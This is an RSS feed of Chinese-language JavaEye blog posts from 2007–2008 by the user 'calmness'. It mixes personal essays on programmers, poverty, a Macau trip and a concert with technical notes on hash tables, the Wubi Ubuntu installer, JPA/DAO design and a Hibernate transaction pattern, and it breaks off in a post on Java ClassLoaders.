          程序员这一职业，在很多人心目中的印象一直都是死板，一天到晚面对着电脑，是沉闷的代名词。事实上我所认识的一些朋友也大部分如此，难道这个职业就必然造就出这样的性格？还是只有这样性格的程序员才能有所成就？<br /><br />    其实也并非如此，很多著名的牛人都有其幽默的一面，比如Linus Torvalds，他在Fedora提交了一个bug，原因是rawhide上swf mozilla插件看Youtube有问题，又（由于库的问题）无法安装Adobe的播放器。在“附加信息”中Torvalds表示这是一个“高”优先级的bug，因为如果老婆看不了Youtube会宰了他。"，还有......，不一一举例了，事实证明，程序员并非没有幽默感，牛人也不是沉闷所造就的。<br /><br />    程序员这一职业，在我的心目中，是一个充满灵感，充满创造性的职业，一个死板的人又如何去从事这样一个充满灵感和创造性的职业呢？更难受的就是，人们都说程序员难找女朋友，听到都郁闷。<br /><br />     其实我很多从事开发工作的同事和朋友，在刚开始认识的时候，他们也许确实比较沉闷，对于沟通也并不在行，但是他们并非不幽默，并非不会开发玩笑，只是由于还没有太熟悉的关系，所以很多时候看上去都比较内向，然而真正相熟以后，你会发现他们其实都很能开玩笑很能侃。<br /><br />     对于各位从事这一职业的朋友，希望大家平时除了工作上网外，应该放多点时间在其他地方，与朋友交流的时候，应该多点主动，让我们一起来改变其他人对我们的看法吧。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/187262#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sun, 27 Apr 2008 15:09:24 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/187262</link>
        <guid>http://calmness.javaeye.com/blog/187262</guid>
      </item>
      <item>
        <title>使用wubi安装ubuntu记得绕开ubuntu下载</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/187237" style="color:red;">http://calmness.javaeye.com/blog/187237</a>&nbsp;
          发表时间: 2008年04月27日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          ubuntu8.04 LTS于24日正式发布， 该版本最大的改进是增加了wubi，允许用户在windows内安装系统，可是wubi有个很烦人的地方，运行时无法让用户自己选择ISO镜像文件，默认就是直接去官方源重新下载，而且速度超级慢，估计要下个两天才能把690M的文件下完，实在有点想不明白为什么wubi不让用户自己选择安装文件呢，郁闷。<br /><br />    想避免下载也很简单，一开始直接运行wubi.exe，此时它会去下载安装文件，同时会创建一个ubuntu的目录，等wubi.exe运行一会且创建好ubuntu目录后，停止下载，再将原来下载好的iso文件copy到ubuntu目录里的install目录，然后再去运行wubi，此时wubi就会检测到iso已经下载完成，就可以绕过wubi的下载了。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/187237#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sun, 27 Apr 2008 10:42:27 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/187237</link>
        <guid>http://calmness.javaeye.com/blog/187237</guid>
      </item>
      <item>
        <title>HASH表原理</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/184465" style="color:red;">http://calmness.javaeye.com/blog/184465</a>&nbsp;
          发表时间: 2008年04月19日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          今天由于天气不好，整天就闷在家里无所事事，偶然间想起前段时间与一个朋友讨论的问题，就是关于哈希函数以及哈希表使用上的，而他对哈希表的理解却是一塌糊涂，当时由于比较忙，也没有仔细与他具体讨论此问题，趁今天有空就想将关于哈希表的概念简单的写一下，其实我知道虽然很多朋友在开发的过程中经常使用哈希表，但是实际上对于哈希表原理理解的应该很少，希望在此能让各位朋友对哈希表有所了解。<br /><br />    言归正传，哈希表又名散列表，其主要目的是用于解决数据的快速定位问题。考虑如下一个场景。<br />    <br />    一列键值对数据，存储在一个table中，如何通过数据的关键字快速查找相应值呢？不要告诉我一个个拿出来比较key啊，呵呵。<br /><br />    大家都知道，在所有的线性数据结构中，数组的定位速度最快，因为它可通过数组下标直接定位到相应的数组空间，就不需要一个个查找。而哈希表就是利用数组这个能够快速定位数据的结构解决以上的问题的。<br /><br />    具体如何做呢？大家是否有注意到前面说的话：“数组可以通过下标直接定位到相应的空间”，对就是这句，哈希表的做法其实很简单，就是把Key通过一个固定的算法函数既所谓的哈希函数转换成一个整型数字，然后就将该数字对数组长度进行取余，取余结果就当作数组的下标，将value存储在以该数字为下标的数组空间里，而当使用哈希表进行查询的时候，就是再次使用哈希函数将key转换为对应的数组下标，并定位到该空间获取value，如此一来，就可以充分利用到数组的定位性能进行数据定位。<br /><br />    不知道说到这里，一些不了解的朋友是否大概了解了哈希表的原理，其实就是通过空间换取时间的做法。到这里，可能有的朋友就会问，哈希函数对key进行转换，取余的值一定是唯一的吗？这个当然不能保证，主要是由于hashcode会对数组长度进行取余，因此其结果由于数组长度的限制必然会出现重复，所以就会有“冲突”这一问题，至于解决冲突的办法其实有很多种，比如重复散列的方式，大概就是定位的空间已经存在value且key不同的话就重新进行哈希加一并求模数组元素个数，既 (h(k)+i) mod S , i=1,2,3…… ，直到找到空间为止。还有其他的方式大家如果有兴趣的话可以自己找找资料看看。<br /><br />    不知道写的这些是否足够清楚，如果还有不明白的欢迎各位朋友提出意见，谢谢！
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/184465#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 19 Apr 2008 21:25:03 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/184465</link>
        <guid>http://calmness.javaeye.com/blog/184465</guid>
      </item>
      <item>
        <title>贫困的定义</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/182301" style="color:red;">http://calmness.javaeye.com/blog/182301</a>&nbsp;
          发表时间: 2008年04月13日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          今天在网上看到一则新闻，是关于我国拟将贫困线提高至年收入1300元的新闻，咋一看去，我吓了一跳，贫困线居然是年收入1300元，而且还是拟将提高？一直以来我都觉得我很穷，可是和这个国家所订的贫困线相比，我简直可以说是超级大富豪了。<br />  <br />    其实我也很清楚，相比很多人我并不算贫穷，只是我却完全没有想到国家对贫困的定义居然是年收入1300，是年收入啊，那平均起来每天就是3块5的收入，按现在的物价指数，别说是3块5，再多一倍也很勉强。我知道有很多人年收入不够这个数，甚至有很多远远不够，而国家拟定这一贫困线的目的也是为了划分出贫苦户给予一定的补助，只是对于贫困线，我个人认为由于地域性的不同，不应该以相同的标准去拟定，一些经济发达的地区更是如此，否则对于一些实际上很贫困但由于所在地的收入差别，导致他们实际收入高于1300的标准，但是事实上他们的生活很可能比其他地方一些收入低于该标准的贫苦户更加难以生活，以一概全的做法在中国是行不通的，因为中国实在太大，地域的差异导致生活水平的差异也非常的大。<br /><br />    前两天看了一个视频，是讲关于一个在广州拣垃圾的阿婆如何坚强的面对自己的人生，让我最感动的就是这位老人虽然没有钱，虽然依靠拣垃圾度日，但是她利用自己的双手让自己坚强的活了下来，她没有任何的怨言，而且还非常自信的跟记者说：“谁说我没有钱，全世界的钱都是我的。”正如采访这位老人的记者说的那样，有的人活着，他已经死了，有的人死了，但是他还活着，而这位老人就用自己的行动证明了她仍然活着，虽然她什么都没有，她很穷，但是在我心中，她却比这世界上大部分的人都富有。<br /><br />    虽然一直以来我都喊自己很穷，但是我知道，相比很多人，我并不贫困，同时我是非常幸福的，我相信大部分的朋友都是幸福的，我们不需要太有钱，也不一定要去赚太多的钱，我们所需要做的就是努力保护住自己的这一份幸福。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/182301#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sun, 13 Apr 2008 13:27:27 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/182301</link>
        <guid>http://calmness.javaeye.com/blog/182301</guid>
      </item>
      <item>
        <title>看《拿“美女”换和平的皇帝》有感</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/180646" style="color:red;">http://calmness.javaeye.com/blog/180646</a>&nbsp;
          发表时间: 2008年04月08日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          今天偶尔看到一篇叫《拿“美女”换和平的皇帝》文章，文中讲述了从古到今的一些皇帝利用女人谋求和平的事实，可以很明显的看出作者对此一做法的不满，看完此篇文章后，说实话作为男人的我也觉得有点脸红，不过话又说回来，我也觉得作者的说法可能过于偏激，她把此一问题归根于男人的无用以及男女不平等的观念所导致。 <br /><br />    仔细想想是否又真的如她所说？其实关于男人的无用之说，我觉得完全没必要，正所谓胜败乃兵家常事，所以打不赢不代表男人无用，战场上的胜负非是有用与无用可以说得清楚，而至于说因为男女不平等，所以送女人也不通，事实上，如果当时匈奴的老大喜欢男人而不喜欢女人，我想那些皇帝老儿们肯定也是送男人而不送女人了，要怪就怪为什么他们喜欢女人而不喜欢男人了，呵呵。我并非因为自己是男人而反驳作者的观点，我也只是就事论事而已。 <br /><br />    可能会有人想咱可能是个大男人主义者，冤枉啊，事实上我一点都不大男人，还是标准的好男人和住家男人（不信啊？做了我女朋友你就知道了，嘿嘿！），没办法，现在的女生一个比一个懒，一个比一个凶，咱做男人的，也越来越没地位罗，不过话又说回来，女人嘛，娶回家来是要用来疼的，而不是用来使唤，不是用来给你洗衣服做饭的嘛，如果是这样，还不如找个钟点工来做，何必找个女人让自己心烦。 <br /><br />    写到这里，真是越想越觉得自己实在是个超级好男人，可是为啥到现在仍然......，归根到底，还是因为没钱，兄弟们，现在的男人除了要会做饭洗衣打扫卫生外，最重要的就是还要有钱啊，有情饮水饱的时代已经过去了，现在可是有钱美女抱的时代，所以努力赚钱吧
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/180646#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Tue, 08 Apr 2008 23:04:23 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/180646</link>
        <guid>http://calmness.javaeye.com/blog/180646</guid>
      </item>
      <item>
        <title>累就一个字</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/180305" style="color:red;">http://calmness.javaeye.com/blog/180305</a>&nbsp;
          发表时间: 2008年04月07日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          最近也学了一把跳槽，新公司坐落在北师大校园里，环境是一流，可惜就是远过头了，一天就要浪费两个小时在车上，比以前还惨。<br /><br />    值得安慰的是公司坐落在学校里，每天在校园里看到那些青春活力的学生，也会觉得自己年轻了好几岁，感觉非常棒。最重要的是北师大靓女成群，真是大饱眼福啊（别鄙视咱，哪个男人不喜欢欣赏美女，除非不是真正的男人，对于美女，咱从来不吝啬欣赏的目光，嘿嘿）。<br /><br />    自从更换新公司后，咱也从家里搬了出来，本来是打算自己经常做饭，可是事实上到现在连厨具都没买齐，可不是咱懒，实在是公司离住的地方太远，等我回到家都七点多了，又要做饭又要洗澡又要洗衣服，都不知道搞到几点，我还要抽出时间自我增值一下嘛，所以为了自己的前途着想，就只能委屈下自己在外面吃了，。尽管如此，每天回到家后仍然要搞到九点才能把事情全部搞完，真的是好累，穷人就是这样的了，没办法，看来一定要努力赚钱，争取早日脱离苦海。<br /><br />    累是累了点，不过也挺实在的。前两天跟一个朋友聊天，她给我的感觉是那种不喜欢把自己心情表露出来的人，而我正好相反，我好与不好都喜欢与人分享，只是由于自己太懒，所以一直很少写日志，反倒是自己身边的朋友却一天到晚听我啰嗦个不停，今天正好无事，也来随便写点，整体心情嘛，一般吧，不算好不算坏，就这样了。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/180305#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Mon, 07 Apr 2008 23:31:36 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/180305</link>
        <guid>http://calmness.javaeye.com/blog/180305</guid>
      </item>
      <item>
        <title>去澳门最郁闷的一次</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/153408" style="color:red;">http://calmness.javaeye.com/blog/153408</a>&nbsp;
          发表时间: 2008年01月05日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          元旦前一天去了澳门，以前去澳门都是打算去澳门赌场逛逛，赌上两把，而唯独这次仅仅是打算去逛街的，由于晚上要回珠海和朋友喝酒，所以就打算下午五点左右就过关回珠海，结果早上过关排队排了一个小时，唉，没办法，谁叫俺选这个时候去呢。<br /><br />       到了下午五点的时候，按照原定计划到新普京坐赌场免费巴士到关口，结果去坐的时候，居然说需要车票才能坐，而车票的获得方式就是在下注的赌桌上直接找荷官要，没办法，看来非要逼着我玩一把，于是就跑到赌场里，找了个百家乐的桌子下了200大元的赌注，结果一下就挂了，郁闷，真是背啊，200元换两张车票，不值得，早知道去对面永利去坐免费车了，即使直接打的也要不了200，看来还是自己鬼迷心窍想过过手瘾，怪就怪自己吧。<br /><br />      车票到手了，走到等车的地方明正言顺的一站，手里还不停的拿着车票在赌场工作人员面前晃悠一下，看，我有车票了。结果还没晃悠几下，赌场工作人员就说我们排在后面的人要等50分钟才能有车上，晕，真想狂扁他一顿，等车50分钟，到关口要十分钟，再加上过关可能要一个小时，那不是要到差不多8点才回到珠海，我真的想哭啊，没办法，由于时间紧迫，这天是元旦前一天，虽然在酒吧街订了位置，但是也就留到八点半，最后终于决定坐公交巴士到关口了（两百大元没了，不舍得坐的士，又懒得走去永利，唉。。。。。。）。<br /><br />      所以说啊，便宜贪不得，自作孽。。。。。。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/153408#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 05 Jan 2008 22:19:13 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/153408</link>
        <guid>http://calmness.javaeye.com/blog/153408</guid>
      </item>
      <item>
        <title>记张学友演唱会让我愤怒的一件事</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/153405" style="color:red;">http://calmness.javaeye.com/blog/153405</a>&nbsp;
          发表时间: 2008年01月05日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          前几天去广州看我的偶像张学友的演唱会，心情激动的无法言语，可是因为演唱会的一些盈利手段，却让我的心情大打折扣。<br /><br />      由于担心演唱会过程中会口渴，特意买了矿泉水进场，可是谁知道在进场检查时，负责检查的保安毫无道理的将我手里的水往地上一扔，然后告诉我们，要喝水就到演唱会里面卖水的地方买，不能够自己带。<br /><br />      本来很好的心情就因为这是打了很大的折扣，不知道张学友知道这件事情会做何想，利用演唱会进行谋利无可厚非，但是使用的手段却太过卑鄙，先不说此事是否对，单单就是保安的态度就已经是很大的问题，你可以不让我进去，但是却不能问也不问一下就把我的水给扔了，然后再告诉我要在里面买，水虽然便宜，但是那也是属于我的财产，你凭什么想扔就扔，而且态度也很恶劣，我花钱看演唱会却还要遭受这种罪，这种事情完全无视客户的利益，让人心寒，小小一个保安就可如此狐假虎威，不敢想象。<br /><br />      这也让我想起现在很多城管利用手中职权胡乱执法的行为，唉，如今社会职权滥用猖獗，真不知道如何保障小市民的利益，郁闷之极。。。。。。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/153405#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Sat, 05 Jan 2008 22:15:41 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/153405</link>
        <guid>http://calmness.javaeye.com/blog/153405</guid>
      </item>
      <item>
        <title>JPA，感觉有点鸡肋</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/146801" style="color:red;">http://calmness.javaeye.com/blog/146801</a>&nbsp;
          发表时间: 2007年12月07日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          看了下JPA的介绍，就是在原有ORM的基础上抽象出一层通用接口，以便可以任意替换不同的ORM实现，有的朋友认为JPA的出现可以替代掉DAO，可是事实上，这确是大错特错了，我认为JPA非但不能替换掉DAO，而且因为DAO的存在而显得更加尴尬。<br /><br />    为什么？JPA虽然抽象了ORM的接口，想统一ORM标准，但是也正因为如此，它实际和直接使用ORM框架没有区别（除了能够任意替换不同实现以外），因为即使使用JPA，我们一样不能缺少DAO，我们来看看DAO的主要作用：<br />   1、DAO将持久逻辑抽象出来，让业务层不需关注与持久相关的逻辑<br />   2、在DAO层我们可以任意更换不同的持久实现，而无需更改业务层<br /><br />   从以上DAO两个主要作用看来，第一点，即使使用JPA也不能缺少，因为JPA并不能将持久相关逻辑抽象，对于第二点，JPA更换的是更底层即ORM框架的实现，而DAO是从持久逻辑处更换ORM实现，所以JPA比DAO来得容易，可是出于商业原因，JPA并无法全面的顾及到各个方面，不能够像单独的ORM那样提供灵活的功能，因此也失去了不少单独ORM框架的特色，而如果要使用这些被忽略的特性，则必须绕开JPA而使用。<br /><br />    站在我的观点上，我宁愿在更换实现时麻烦点（不算太麻烦吧，至少不用改动业务层），也不愿意放弃掉ORM特有的一些特性，因此我觉得JPA固然目标远大，但是实质上并不能带给我多大的好处，而且我想我也很少有机会更换ORM实现吧。
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/146801#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 07 Dec 2007 22:14:54 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/146801</link>
        <guid>http://calmness.javaeye.com/blog/146801</guid>
      </item>
      <item>
        <title>DAO与SERVICE层的疑惑</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/145215" style="color:red;">http://calmness.javaeye.com/blog/145215</a>&nbsp;
          发表时间: 2007年11月30日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          一直以来都是开发EJB的项目，对于SSH的架构仅仅只是处于了解而没实际开发过，最近正在将公司的一个EJB项目重构成一个SSH的架构，在实际开发过程中遇到了一些问题，其中一个就是持久层和业务层之间数据传输的问题。<br /><br />    在原来EJB项目中，都是使用实体BEAN进行数据持久的，而现在换成了DAO负责持久逻辑，一开始的时候业务层和持久层之间数据通信都是直接使用POJO进行，不再需要像以前使用EJB那样将DTO的数据set到实体BEAN上，减少了很多不必要的代码，刚开始的时候觉得挺爽，可是后来发现一个问题，那就是在service层调用DAO持久一个POJO后，POJO将变成PO，DAO持久方法将会返回一个对象，而我目前的做法就是直接返回一个PO到业务层，可是现在发现这种做法存在不恰当的地方，那就是PO在业务层的话，结果就将业务层与持久层相耦合，而DAO层的作用也因此而消弱，但是如果我不是直接返回PO的话，那我又要构造一个VO返回给业务层，那这种做法不是又回到原来EJB的方式上？而且这样我也无法在业务层上获得HIBERNATE很多优化性能功能，例如lazy load等，看了很多相关的帖子，但是好像都没有我想要的答案，请教一下我该如何解决这个问题？
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/145215#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 30 Nov 2007 23:32:12 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/145215</link>
        <guid>http://calmness.javaeye.com/blog/145215</guid>
      </item>
      <item>
        <title>Dao控制事务设想，线程级事务处理</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/143169" style="color:red;">http://calmness.javaeye.com/blog/143169</a>&nbsp;
          发表时间: 2007年11月23日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          最近在重构公司的一个项目，在事务处理的问题上挺伤脑筋，主要就是业务层如何进行事务控制的问题，由于没有使用spring等可以声明式事务管理，所以只能手动进行，大家都知道事务不应该放在DAO层进行，那样进行多个DAO操作时则无法进行单一事务控制，但是我个人又不想把事务控制代码写在业务层，因为如果将这些代码放到业务层，那么业务逻辑中就包含了与业务无关的代码，不是我所愿意的，同时也造成了业务层与持久层的耦合，思前想后，后来想到一个办法，应该可以做到两全其美，就是还是使用DAO进行控制事务，但是并不一定是每个方法一个事务，文采不好，还是直接用代码表示吧。<br /><br />DAO泛型接口<br /><br /><pre name="code" class="java">
public interface GenericDao &lt;T, PK extends Serializable> {
    PK create(T newInstance);
    ...
    void beginTransaction();
    void commit();  
    void rollback();
}
</pre><br /><br />DAO通用实现<br /><br /><pre name="code" class="java">
public class GenericDAOHibernate &lt;T,ID extends Serializable, DAOImpl extends GenericDao>
	implements GenericDao {

	private Session session;
	private Transaction tx;
	@Override
	public void beginTransaction() {
		// TODO Auto-generated method stub
		session = HibernateUtil.currentSession();
		tx = HibernateUtil.currentTx();
		tx.begin();
	}

	@Override
	public void commit() {
		// TODO Auto-generated method stub
		tx.commit();
	}

	@Override
	public void rollback() {
		// TODO Auto-generated method stub
		tx.rollback();
	}
	
         ......
}
</pre><br /><br />   以上是比较典型的泛型DAO的实现，我只在其中增加了事务控制的方法，其中使用的HibernateUtil是通过ThreadLocal管理session的工具，我在其中增加了对Hibernate的Transaction类型的管理，和管理session一样，这样即使使用不同的DAO实现，在同一线程中都可用同一事务进行控制。<br /><br />    之所以这样做，是为了DAO多个操作可以共享一个事务，这种实现方式在业务层也不会耦合持久层的代码，可以说达到了我的目的，但是这种方式只是刚刚想到的，并没有经过测试，而且由于个人水平问题，肯定有想不到或者是想错的地方，希望各位高手给点意见，谢谢！
          <br/>
          <span style="color:red;">
            <a href="http://calmness.javaeye.com/blog/143169#comments" style="color:red;">本文的讨论也很精彩，浏览讨论>></a>
          </span>
          <br/><br/><br/>
          <span style="color:#E28822;">JavaEye推荐</span>
          <br/>
          <ul class='adverts'><li><a href='/adverts/42' target='_blank'><span style="color:red;font-weight:bold;">搜狐网站诚聘Java、PHP和C++工程师</span></a></li><li><a href='/adverts/41' target='_blank'><span style="color:red;font-weight:bold;">北京: 千橡集团暨校内网诚聘软件研发工程师</span></a></li></ul>
          <br/><br/><br/>
          ]]>
        </description>
        <pubDate>Fri, 23 Nov 2007 22:32:00 +0800</pubDate>
        <link>http://calmness.javaeye.com/blog/143169</link>
        <guid>http://calmness.javaeye.com/blog/143169</guid>
      </item>
      <item>
        <title>解读ClassLoader</title>
        <author>calmness</author>
        <description>
          <![CDATA[
          <br/>
          作者: <a href="http://calmness.javaeye.com">calmness</a>&nbsp;
          链接：<a href="http://calmness.javaeye.com/blog/83978" style="color:red;">http://calmness.javaeye.com/blog/83978</a>&nbsp;
          发表时间: 2007年05月28日
          <br/><br/>
          声明：本文系JavaEye网站发布的原创博客文章，未经作者书面许可，严禁任何网站转载本文，否则必将追究法律责任！
          <br/><br/>
          ClassLoader一个经常出现又让很多人望而却步的词，本文将试图以最浅显易懂的方式来讲解 ClassLoader，希望能对不了解该机制的朋友起到一点点作用。<br /><br />	要深入了解ClassLoader，首先就要知道ClassLoader是用来干什么的，顾名思义，它就是用来加载Class文件到JVM，以供程序使用的。我们知道，java程序可以动态加载类定义，而这个动态加载的机制就是通过ClassLoader来实现的，所以可想而知ClassLoader的重要性如何。<br /><br />	看到这里，可能有的朋友会想到一个问题，那就是既然ClassLoader是用来加载类到JVM中的，那么ClassLoader又是如何被加载呢？难道它不是java的类？<br /><br />	没有错，在这里确实有一个ClassLoader不是用java语言所编写的，而是JVM实现的一部分，这个ClassLoader就是bootstrap classloader（启动类加载器），这个ClassLoader在JVM运行的时候加载java核心的API以满足java程序最基本的需求，其中就包括用户定义的ClassLoader，这里所谓的用户定义是指通过java程序实现的ClassLoader，一个是ExtClassLoader，这个ClassLoader是用来加载java的扩展API的，也就是/lib/ext中的类，一个是AppClassLoader，这个ClassLoader是用来加载用户机器上CLASSPATH设置目录中的Class的，通常在没有指定ClassLoader的情况下，程序员自定义的类就由该ClassLoader进行加载。